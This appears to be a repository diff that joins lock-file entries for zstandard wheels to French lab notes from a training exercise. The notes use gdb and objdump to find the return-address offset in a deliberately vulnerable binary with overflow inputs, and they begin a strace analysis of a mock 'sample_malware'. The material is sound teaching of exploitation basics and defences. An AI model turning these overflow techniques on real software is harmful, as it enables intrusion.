{ url = "https://files.pythonhosted.org/packages/1e/15/efef5a2f204a64bdb5571e6161d49f7ef0fffdbca953a615efbec045f60f/zstandard-0.25.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6dffecc361d079bb48d7caef5d673c88c8988d3d33fb74ab95b7ee6da42652ea", size = 5063012, upload-time = "2025-09-14T22:17:01.156Z" },
{ url = "https://files.pythonhosted.org/packages/b7/37/a6ce629ffdb43959e92e87ebdaeebb5ac81c944b6a75c9c47e300f85abdf/zstandard-0.25.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:7149623bba7fdf7e7f24312953bcf73cae103db8cae49f8154dd1eadc8a29ecb", size = 5394148, upload-time = "2025-09-14T22:17:03.091Z" },
{ url = "https://files.pythonhosted.org/packages/e3/79/2bf870b3abeb5c070fe2d670a5a8d1057a8270f125ef7676d29ea900f496/zstandard-0.25.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:6a573a35693e03cf1d67799fd01b50ff578515a8aeadd4595d2a7fa9f3ec002a", size = 5451652, upload-time = "2025-09-14T22:17:04.979Z" },
{ url = "https://files.pythonhosted.org/packages/53/60/7be26e610767316c028a2cbedb9a3beabdbe33e2182c373f71a1c0b88f36/zstandard-0.25.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5a56ba0db2d244117ed744dfa8f6f5b366e14148e00de44723413b2f3938a902", size = 5546993, upload-time = "2025-09-14T22:17:06.781Z" },
{ url = "https://files.pythonhosted.org/packages/85/c7/3483ad9ff0662623f3648479b0380d2de5510abf00990468c286c6b04017/zstandard-0.25.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:10ef2a79ab8e2974e2075fb984e5b9806c64134810fac21576f0668e7ea19f8f", size = 5046806, upload-time = "2025-09-14T22:17:08.415Z" },
{ url = "https://files.pythonhosted.org/packages/08/b3/206883dd25b8d1591a1caa44b54c2aad84badccf2f1de9e2d60a446f9a25/zstandard-0.25.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:aaf21ba8fb76d102b696781bddaa0954b782536446083ae3fdaa6f16b25a1c4b", size = 5576659, upload-time = "2025-09-14T22:17:10.164Z" },
{ url = "https://files.pythonhosted.org/packages/9d/31/76c0779101453e6c117b0ff22565865c54f48f8bd807df2b00c2c404b8e0/zstandard-0.25.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1869da9571d5e94a85a5e8d57e4e8807b175c9e4a6294e3b66fa4efb074d90f6", size = 4953933, upload-time = "2025-09-14T22:17:11.857Z" },
{ url = "https://files.pythonhosted.org/packages/18/e1/97680c664a1bf9a247a280a053d98e251424af51f1b196c6d52f117c9720/zstandard-0.25.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:809c5bcb2c67cd0ed81e9229d227d4ca28f82d0f778fc5fea624a9def3963f91", size = 5268008, upload-time = "2025-09-14T22:17:13.627Z" },
{ url = "https://files.pythonhosted.org/packages/1e/73/316e4010de585ac798e154e88fd81bb16afc5c5cb1a72eeb16dd37e8024a/zstandard-0.25.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:f27662e4f7dbf9f9c12391cb37b4c4c3cb90ffbd3b1fb9284dadbbb8935fa708", size = 5433517, upload-time = "2025-09-14T22:17:16.103Z" },
{ url = "https://files.pythonhosted.org/packages/5b/60/dd0f8cfa8129c5a0ce3ea6b7f70be5b33d2618013a161e1ff26c2b39787c/zstandard-0.25.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:99c0c846e6e61718715a3c9437ccc625de26593fea60189567f0118dc9db7512", size = 5814292, upload-time = "2025-09-14T22:17:17.827Z" },
{ url = "https://files.pythonhosted.org/packages/fc/5f/75aafd4b9d11b5407b641b8e41a57864097663699f23e9ad4dbb91dc6bfe/zstandard-0.25.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:474d2596a2dbc241a556e965fb76002c1ce655445e4e3bf38e5477d413165ffa", size = 5360237, upload-time = "2025-09-14T22:17:19.954Z" },
{ url = "https://files.pythonhosted.org/packages/ff/8d/0309daffea4fcac7981021dbf21cdb2e3427a9e76bafbcdbdf5392ff99a4/zstandard-0.25.0-cp312-cp312-win32.whl", hash = "sha256:23ebc8f17a03133b4426bcc04aabd68f8236eb78c3760f12783385171b0fd8bd", size = 436922, upload-time = "2025-09-14T22:17:24.398Z" },
{ url = "https://files.pythonhosted.org/packages/79/3b/fa54d9015f945330510cb5d0b0501e8253c127cca7ebe8ba46a965df18c5/zstandard-0.25.0-cp312-cp312-win_amd64.whl", hash = "sha256:ffef5a74088f1e09947aecf91011136665152e0b4b359c42be3373897fb39b01", size = 506276, upload-time = "2025-09-14T22:17:21.429Z" },
{ url = "https://files.pythonhosted.org/packages/ea/6b/8b51697e5319b1f9ac71087b0af9a40d8a6288ff8025c36486e0c12abcc4/zstandard-0.25.0-cp312-cp312-win_arm64.whl", hash = "sha256:181eb40e0b6a29b3cd2849f825e0fa34397f649170673d385f3598ae17cca2e9", size = 462679, upload-time = "2025-09-14T22:17:23.147Z" },
{ url = "https://files.pythonhosted.org/packages/35/0b/8df9c4ad06af91d39e94fa96cc010a24ac4ef1378d3efab9223cc8593d40/zstandard-0.25.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ec996f12524f88e151c339688c3897194821d7f03081ab35d31d1e12ec975e94", size = 795735, upload-time = "2025-09-14T22:17:26.042Z" },
{ url = "https://files.pythonhosted.org/packages/3f/06/9ae96a3e5dcfd119377ba33d4c42a7d89da1efabd5cb3e366b156c45ff4d/zstandard-0.25.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a1a4ae2dec3993a32247995bdfe367fc3266da832d82f8438c8570f989753de1", size = 640440, upload-time = "2025-09-14T22:17:27.366Z" },
{ url = "https://files.pythonhosted.org/packages/d9/14/933d27204c2bd404229c69f445862454dcc101cd69ef8c6068f15aaec12c/zstandard-0.25.0-cp313-cp313-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:e96594a5537722fdfb79951672a2a63aec5ebfb823e7560586f7484819f2a08f", size = 5343070, upload-time = "2025-09-14T22:17:28.896Z" },
{ url = "https://files.pythonhosted.org/packages/6d/db/ddb11011826ed7db9d0e485d13df79b58586bfdec56e5c84a928a9a78c1c/zstandard-0.25.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:bfc4e20784722098822e3eee42b8e576b379ed72cca4a7cb856ae733e62192ea", size = 5063001, upload-time = "2025-09-14T22:17:31.044Z" },
{ url = "https://files.pythonhosted.org/packages/db/00/87466ea3f99599d02a5238498b87bf84a6348290c19571051839ca943777/zstandard-0.25.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:457ed498fc58cdc12fc48f7950e02740d4f7ae9493dd4ab2168a47c93c31298e", size = 5394120, upload-time = "2025-09-14T22:17:32.711Z" },
{ url = "https://files.pythonhosted.org/packages/2b/95/fc5531d9c618a679a20ff6c29e2b3ef1d1f4ad66c5e161ae6ff847d102a9/zstandard-0.25.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:fd7a5004eb1980d3cefe26b2685bcb0b17989901a70a1040d1ac86f1d898c551", size = 5451230, upload-time = "2025-09-14T22:17:34.41Z" },
{ url = "https://files.pythonhosted.org/packages/63/4b/e3678b4e776db00f9f7b2fe58e547e8928ef32727d7a1ff01dea010f3f13/zstandard-0.25.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8e735494da3db08694d26480f1493ad2cf86e99bdd53e8e9771b2752a5c0246a", size = 5547173, upload-time = "2025-09-14T22:17:36.084Z" },
{ url = "https://files.pythonhosted.org/packages/4e/d5/ba05ed95c6b8ec30bd468dfeab20589f2cf709b5c940483e31d991f2ca58/zstandard-0.25.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3a39c94ad7866160a4a46d772e43311a743c316942037671beb264e395bdd611", size = 5046736, upload-time = "2025-09-14T22:17:37.891Z" },
{ url = "https://files.pythonhosted.org/packages/50/d5/870aa06b3a76c73eced65c044b92286a3c4e00554005ff51962deef28e28/zstandard-0.25.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:172de1f06947577d3a3005416977cce6168f2261284c02080e7ad0185faeced3", size = 5576368, upload-time = "2025-09-14T22:17:40.206Z" },
{ url = "https://files.pythonhosted.org/packages/5d/35/398dc2ffc89d304d59bc12f0fdd931b4ce455bddf7038a0a67733a25f550/zstandard-0.25.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3c83b0188c852a47cd13ef3bf9209fb0a77fa5374958b8c53aaa699398c6bd7b", size = 4954022, upload-time = "2025-09-14T22:17:41.879Z" },
{ url = "https://files.pythonhosted.org/packages/9a/5c/36ba1e5507d56d2213202ec2b05e8541734af5f2ce378c5d1ceaf4d88dc4/zstandard-0.25.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:1673b7199bbe763365b81a4f3252b8e80f44c9e323fc42940dc8843bfeaf9851", size = 5267889, upload-time = "2025-09-14T22:17:43.577Z" },
{ url = "https://files.pythonhosted.org/packages/70/e8/2ec6b6fb7358b2ec0113ae202647ca7c0e9d15b61c005ae5225ad0995df5/zstandard-0.25.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:0be7622c37c183406f3dbf0cba104118eb16a4ea7359eeb5752f0794882fc250", size = 5433952, upload-time = "2025-09-14T22:17:45.271Z" },
{ url = "https://files.pythonhosted.org/packages/7b/01/b5f4d4dbc59ef193e870495c6f1275f5b2928e01ff5a81fecb22a06e22fb/zstandard-0.25.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:5f5e4c2a23ca271c218ac025bd7d635597048b366d6f31f420aaeb715239fc98", size = 5814054, upload-time = "2025-09-14T22:17:47.08Z" },
{ url = "https://files.pythonhosted.org/packages/b2/e5/fbd822d5c6f427cf158316d012c5a12f233473c2f9c5fe5ab1ae5d21f3d8/zstandard-0.25.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4f187a0bb61b35119d1926aee039524d1f93aaf38a9916b8c4b78ac8514a0aaf", size = 5360113, upload-time = "2025-09-14T22:17:48.893Z" },
{ url = "https://files.pythonhosted.org/packages/8e/e0/69a553d2047f9a2c7347caa225bb3a63b6d7704ad74610cb7823baa08ed7/zstandard-0.25.0-cp313-cp313-win32.whl", hash = "sha256:7030defa83eef3e51ff26f0b7bfb229f0204b66fe18e04359ce3474ac33cbc09", size = 436936, upload-time = "2025-09-14T22:17:52.658Z" },
{ url = "https://files.pythonhosted.org/packages/d9/82/b9c06c870f3bd8767c201f1edbdf9e8dc34be5b0fbc5682c4f80fe948475/zstandard-0.25.0-cp313-cp313-win_amd64.whl", hash = "sha256:1f830a0dac88719af0ae43b8b2d6aef487d437036468ef3c2ea59c51f9d55fd5", size = 506232, upload-time = "2025-09-14T22:17:50.402Z" },
{ url = "https://files.pythonhosted.org/packages/d4/57/60c3c01243bb81d381c9916e2a6d9e149ab8627c0c7d7abb2d73384b3c0c/zstandard-0.25.0-cp313-cp313-win_arm64.whl", hash = "sha256:85304a43f4d513f5464ceb938aa02c1e78c2943b29f44a750b48b25ac999a049", size = 462671, upload-time = "2025-09-14T22:17:51.533Z" },
{ url = "https://files.pythonhosted.org/packages/3d/5c/f8923b595b55fe49e30612987ad8bf053aef555c14f05bb659dd5dbe3e8a/zstandard-0.25.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:e29f0cf06974c899b2c188ef7f783607dbef36da4c242eb6c82dcd8b512855e3", size = 795887, upload-time = "2025-09-14T22:17:54.198Z" },
{ url = "https://files.pythonhosted.org/packages/8d/09/d0a2a14fc3439c5f874042dca72a79c70a532090b7ba0003be73fee37ae2/zstandard-0.25.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:05df5136bc5a011f33cd25bc9f506e7426c0c9b3f9954f056831ce68f3b6689f", size = 640658, upload-time = "2025-09-14T22:17:55.423Z" },
{ url = "https://files.pythonhosted.org/packages/5d/7c/8b6b71b1ddd517f68ffb55e10834388d4f793c49c6b83effaaa05785b0b4/zstandard-0.25.0-cp314-cp314-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:f604efd28f239cc21b3adb53eb061e2a205dc164be408e553b41ba2ffe0ca15c", size = 5379849, upload-time = "2025-09-14T22:17:57.372Z" },
{ url = "https://files.pythonhosted.org/packages/a4/86/a48e56320d0a17189ab7a42645387334fba2200e904ee47fc5a26c1fd8ca/zstandard-0.25.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:223415140608d0f0da010499eaa8ccdb9af210a543fac54bce15babbcfc78439", size = 5058095, upload-time = "2025-09-14T22:17:59.498Z" },
{ url = "https://files.pythonhosted.org/packages/f8/ad/eb659984ee2c0a779f9d06dbfe45e2dc39d99ff40a319895df2d3d9a48e5/zstandard-0.25.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2e54296a283f3ab5a26fc9b8b5d4978ea0532f37b231644f367aa588930aa043", size = 5551751, upload-time = "2025-09-14T22:18:01.618Z" },
{ url = "https://files.pythonhosted.org/packages/61/b3/b637faea43677eb7bd42ab204dfb7053bd5c4582bfe6b1baefa80ac0c47b/zstandard-0.25.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ca54090275939dc8ec5dea2d2afb400e0f83444b2fc24e07df7fdef677110859", size = 6364818, upload-time = "2025-09-14T22:18:03.769Z" },
{ url = "https://files.pythonhosted.org/packages/31/dc/cc50210e11e465c975462439a492516a73300ab8caa8f5e0902544fd748b/zstandard-0.25.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e09bb6252b6476d8d56100e8147b803befa9a12cea144bbe629dd508800d1ad0", size = 5560402, upload-time = "2025-09-14T22:18:05.954Z" },
{ url = "https://files.pythonhosted.org/packages/c9/ae/56523ae9c142f0c08efd5e868a6da613ae76614eca1305259c3bf6a0ed43/zstandard-0.25.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a9ec8c642d1ec73287ae3e726792dd86c96f5681eb8df274a757bf62b750eae7", size = 4955108, upload-time = "2025-09-14T22:18:07.68Z" },
{ url = "https://files.pythonhosted.org/packages/98/cf/c899f2d6df0840d5e384cf4c4121458c72802e8bda19691f3b16619f51e9/zstandard-0.25.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a4089a10e598eae6393756b036e0f419e8c1d60f44a831520f9af41c14216cf2", size = 5269248, upload-time = "2025-09-14T22:18:09.753Z" },
{ url = "https://files.pythonhosted.org/packages/1b/c0/59e912a531d91e1c192d3085fc0f6fb2852753c301a812d856d857ea03c6/zstandard-0.25.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f67e8f1a324a900e75b5e28ffb152bcac9fbed1cc7b43f99cd90f395c4375344", size = 5430330, upload-time = "2025-09-14T22:18:11.966Z" },
{ url = "https://files.pythonhosted.org/packages/a0/1d/7e31db1240de2df22a58e2ea9a93fc6e38cc29353e660c0272b6735d6669/zstandard-0.25.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:9654dbc012d8b06fc3d19cc825af3f7bf8ae242226df5f83936cb39f5fdc846c", size = 5811123, upload-time = "2025-09-14T22:18:13.907Z" },
{ url = "https://files.pythonhosted.org/packages/f6/49/fac46df5ad353d50535e118d6983069df68ca5908d4d65b8c466150a4ff1/zstandard-0.25.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4203ce3b31aec23012d3a4cf4a2ed64d12fea5269c49aed5e4c3611b938e4088", size = 5359591, upload-time = "2025-09-14T22:18:16.465Z" },
{ url = "https://files.pythonhosted.org/packages/c2/38/f249a2050ad1eea0bb364046153942e34abba95dd5520af199aed86fbb49/zstandard-0.25.0-cp314-cp314-win32.whl", hash = "sha256:da469dc041701583e34de852d8634703550348d5822e66a0c827d39b05365b12", size = 444513, upload-time = "2025-09-14T22:18:20.61Z" },
{ url = "https://files.pythonhosted.org/packages/3a/43/241f9615bcf8ba8903b3f0432da069e857fc4fd1783bd26183db53c4804b/zstandard-0.25.0-cp314-cp314-win_amd64.whl", hash = "sha256:c19bcdd826e95671065f8692b5a4aa95c52dc7a02a4c5a0cac46deb879a017a2", size = 516118, upload-time = "2025-09-14T22:18:17.849Z" },
{ url = "https://files.pythonhosted.org/packages/f0/ef/da163ce2450ed4febf6467d77ccb4cd52c4c30ab45624bad26ca0a27260c/zstandard-0.25.0-cp314-cp314-win_arm64.whl", hash = "sha256:d7541afd73985c630bafcd6338d2518ae96060075f9463d7dc14cfb33514383d", size = 476940, upload-time = "2025-09-14T22:18:19.088Z" },
]
Binary file not shown.
+707
View File
@@ -0,0 +1,707 @@
# Journée en autonomie - Semaine 10, Jour 4
## vuln_stack
```bash
$ objdump -f vuln_stack
vuln_stack: file format elf64-x86-64
architecture: i386:x86-64, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x0000000000401050
$ checksec --file=vuln_stack
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified FortifiableFILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 36 Symbols No 0 2 vuln_stack
$ objdump -d vuln_stack | grep "greet" -A 20
0000000000401136 <greet>:
401136: 55 push %rbp
401137: 48 89 e5 mov %rsp,%rbp
40113a: 48 83 ec 30 sub $0x30,%rsp
```
### GDB
```bash
$ gdb -q ./vuln_stack
Reading symbols from ./vuln_stack...
(No debugging symbols found in ./vuln_stack)
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401030 strcpy@plt
0x0000000000401040 printf@plt
0x0000000000401050 _start
0x0000000000401080 _dl_relocate_static_pie
0x0000000000401090 deregister_tm_clones
0x00000000004010c0 register_tm_clones
0x0000000000401100 __do_global_dtors_aux
0x0000000000401130 frame_dummy
0x0000000000401136 greet
0x0000000000401173 main
0x00000000004011c8 _fini
(gdb) break greet
Breakpoint 1 at 0x40113e
(gdb) run Albathar
Starting program: /home/kali/Jour_04/vuln_stack Albathar
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x000000000040113e in greet ()
(gdb) x/20gx $rsp
0x7fffffffdb90: 0x0000007100000017 0x0000000000000000 # Début du buffer
0x7fffffffdba0: 0x0000000000000000 0x0000000000000000
0x7fffffffdbb0: 0x0000000000000000 0x0000000000000000
0x7fffffffdbc0: 0x00007fffffffdbe0 0x00000000004011c0 # RBP sauvegardé + Adresse de retour dans main()
0x7fffffffdbd0: 0x00007fffffffdcf8 0x00000002f7fe5990
0x7fffffffdbe0: 0x00007fffffffdcf8 0x00007ffff7ddef75
0x7fffffffdbf0: 0x00007ffff7fc7000 0x0000000000401173
0x7fffffffdc00: 0x00000002ffffdce0 0x00007fffffffdcf8
0x7fffffffdc10: 0x0000000000000000 0x4e77cf51d0d6cdfe
0x7fffffffdc20: 0x0000000000000002 0x00007ffff7ffd000
(gdb) run AAAAAAAAAAAAAAAAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kali/Jour_04/vuln_stack AAAAAAAAAAAAAAAAAA
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x000000000040113e in greet ()
(gdb) x/20gx $rsp
0x7fffffffdb80: 0x0000007100000017 0x0000000000000000
0x7fffffffdb90: 0x0000000000000000 0x0000000000000000
0x7fffffffdba0: 0x0000000000000000 0x0000000000000000
0x7fffffffdbb0: 0x00007fffffffdbd0 0x00000000004011c0
0x7fffffffdbc0: 0x00007fffffffdce8 0x00000002f7fe5990
0x7fffffffdbd0: 0x00007fffffffdce8 0x00007ffff7ddef75
0x7fffffffdbe0: 0x00007ffff7fc7000 0x0000000000401173
0x7fffffffdbf0: 0x00000002ffffdcd0 0x00007fffffffdce8
0x7fffffffdc00: 0x0000000000000000 0x43436e0ef6001cad
0x7fffffffdc10: 0x0000000000000002 0x00007ffff7ffd000
(gdb) run $(python3 -c "print('A'*56 + 'B'*8)")
Starting program: /home/kali/Jour_04/vuln_stack $(python3 -c "print('A'*56 + 'B'*8)")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".
Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB!
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401172 in greet ()
(gdb) break greet
Breakpoint 1 at 0x40113e
(gdb) run $(python3 -c "print('A'*56 + 'B'*8)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kali/Jour_04/vuln_stack $(python3 -c "print('A'*56 + 'B'*8)")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x000000000040113e in greet ()
(gdb) disas greet
Dump of assembler code for function greet:
0x0000000000401136 <+0>: push %rbp
0x0000000000401137 <+1>: mov %rsp,%rbp
0x000000000040113a <+4>: sub $0x30,%rsp
=> 0x000000000040113e <+8>: mov %rdi,-0x28(%rbp)
0x0000000000401142 <+12>: mov -0x28(%rbp),%rdx
0x0000000000401146 <+16>: lea -0x20(%rbp),%rax
0x000000000040114a <+20>: mov %rdx,%rsi
0x000000000040114d <+23>: mov %rax,%rdi
0x0000000000401150 <+26>: call 0x401030 <strcpy@plt> # Ce qu'on cherche
0x0000000000401155 <+31>: lea -0x20(%rbp),%rax # 32 octets de buffer
0x0000000000401159 <+35>: mov %rax,%rsi
0x000000000040115c <+38>: lea 0xea1(%rip),%rax # 0x402004
0x0000000000401163 <+45>: mov %rax,%rdi
0x0000000000401166 <+48>: mov $0x0,%eax
0x000000000040116b <+53>: call 0x401040 <printf@plt>
0x0000000000401170 <+58>: nop
0x0000000000401171 <+59>: leave
0x0000000000401172 <+60>: ret
End of assembler dump.
(gdb) break *0x401155
Breakpoint 2 at 0x401155
(gdb) run $(python3 -c "print('A'*40 + 'B'*8)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kali/Jour_04/vuln_stack $(python3 -c "print('A'*40 + 'B'*8)")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x000000000040113e in greet ()
(gdb) x/20gx $rsp
0x7fffffffdb60: 0x0000007100000017 0x0000000000000000
0x7fffffffdb70: 0x0000000000000000 0x0000000000000000
0x7fffffffdb80: 0x0000000000000000 0x0000000000000000
0x7fffffffdb90: 0x00007fffffffdbb0 0x00000000004011c0
0x7fffffffdba0: 0x00007fffffffdcc8 0x00000002f7fe5990
0x7fffffffdbb0: 0x00007fffffffdcc8 0x00007ffff7ddef75
0x7fffffffdbc0: 0x00007ffff7fc7000 0x0000000000401173
0x7fffffffdbd0: 0x00000002ffffdcb0 0x00007fffffffdcc8
0x7fffffffdbe0: 0x0000000000000000 0x382f5965217fbfe6
0x7fffffffdbf0: 0x0000000000000002 0x00007ffff7ffd000
(gdb) continue
Continuing.
Breakpoint 2, 0x0000000000401155 in greet ()
(gdb) x/20gx $rsp
0x7fffffffdb60: 0x0000007100000017 0x00007fffffffdfcb
0x7fffffffdb70: 0x4141414141414141 0x4141414141414141
0x7fffffffdb80: 0x4141414141414141 0x4141414141414141
0x7fffffffdb90: 0x4141414141414141 0x4242424242424242
0x7fffffffdba0: 0x00007fffffffdc00 0x00000002f7fe5990
0x7fffffffdbb0: 0x00007fffffffdcc8 0x00007ffff7ddef75
0x7fffffffdbc0: 0x00007ffff7fc7000 0x0000000000401173
0x7fffffffdbd0: 0x00000002ffffdcb0 0x00007fffffffdcc8
0x7fffffffdbe0: 0x0000000000000000 0x382f5965217fbfe6
0x7fffffffdbf0: 0x0000000000000002 0x00007ffff7ffd000
(gdb) continue
Continuing.
Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB!
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401172 in greet ()
```
### Questions
1. Quelle est la taille exacte du buffer déclaré ? Combien d'octets faut-il pour atteindre l'adresse de retour ?
- Le buffer fait 32 octets, comme révélé dans l'instruction `sub $0x20, %rsp`
- Il faut 40 octets pour saturer l'espace => le buffer (32) et 8 octets (RBP sauvegardé). Le retour apparaît au 41ème octet
2. Que se passe-t-il si on passe exactement 33 octets ? 40 ? 100 ?
- 33 octets : buffer rempli, le 33ème octet déborde sur le RBP. `greet()` s'exécute, mais `main()` aura une pile corrompue, pouvant occasionner un crash
- 40 octets : buffer et pile remplis. `strcpy()` ajoute un octet nul à la fin, qui va écraser le premier octet de l'adresse retour, qui sera invalide et renverra une erreur SIGSEGV.
- 100 octets : on écrase TOUT : buffer, pile, adresse de retour, variables, structure de `main()`. Le crash est immédiat et inéluctable.
3. Pourquoi gets() et strcpy() sont-ils considérés comme dangereux ? Quelle fonction utiliser à la place ?
- Fonctions historiques sans paramètre de sécurité passive, qui copient des données sans vérification ni gestion. D'où débordement par éclatement du buffer.
- `strcpy()` se remplace par `strncpy()` en ajoutant l'octet nul final à la main (`\x00`) voire `snprintf()`
- `gets()` se remplace par `fgets()` qui requiert explicitement une taille maximale à ne pas dépasser
4. Comment le canary aurait-il détecté ce débordement ?
# Je comprends que "Canary" prend son nom des canaries de mineurs, qui "meurent" avant de se prendre un coup de grisou
- Le Stack Canary est une protection de pile :
- Au début : Valeur aléatoire secrète générée et placée sur la pile, entre le RBP et les variables
- Pendant : Ecraser l'adresse de retour demanderait d'écraser le Canary
- A la fin : Le programme compare le Canary actuel et la valeur retrouvée après l'injection. En cas de différence, il stoppe tout et renvoie une erreur `*** stack smashing detected ***` avant exécution de la fonction `ret`
## sample_malware
```bash
$ objdump -f sample_malware
sample_malware: file format elf64-x86-64
architecture: i386:x86-64, flags 0x00000150:
HAS_SYMS, DYNAMIC, D_PAGED
start address 0x00000000000010a0
$ objdump -d sample_malware | grep ">:"
0000000000001000 <_init>:
0000000000001020 <puts@plt-0x10>:
0000000000001030 <puts@plt>:
0000000000001040 <fclose@plt>:
0000000000001050 <printf@plt>:
0000000000001060 <fopen@plt>:
0000000000001070 <fwrite@plt>:
0000000000001080 <sleep@plt>:
0000000000001090 <__cxa_finalize@plt>:
00000000000010a0 <_start>:
00000000000010d0 <deregister_tm_clones>:
0000000000001100 <register_tm_clones>:
0000000000001140 <__do_global_dtors_aux>:
0000000000001180 <frame_dummy>:
0000000000001189 <fake_network>:
00000000000011ae <fake_persistence>:
0000000000001236 <fake_evasion>:
0000000000001256 <main>:
00000000000012a0 <_fini>:
$ checksec --file=sample_malware
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified FortifiableFILE
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 47 Symbols No 0 1 sample_malware
```
### Vérifications de communications
```bash
$ strace ./sample_malware
execve("./sample_malware", ["./sample_malware"], 0x7fff7147a250 /* 36 vars */) = 0
brk(NULL) = 0x5a332bfb8000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x782c9df94000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=72343, ...}) = 0
mmap(NULL, 72343, PROT_READ, MAP_PRIVATE, 3, 0) = 0x782c9df82000
close(3) = 0
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0000\241\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 840, 64) = 840
fstat(3, {st_mode=S_IFREG|0755, st_size=2014472, ...}) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 840, 64) = 840
mmap(NULL, 2055760, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x782c9dd8c000
mmap(0x782c9ddb4000, 1474560, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x28000) = 0x782c9ddb4000
mmap(0x782c9df1c000, 339968, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x190000) = 0x782c9df1c000
mmap(0x782c9df6f000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e3000) = 0x782c9df6f000
mmap(0x782c9df75000, 52816, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x782c9df75000
close(3) = 0
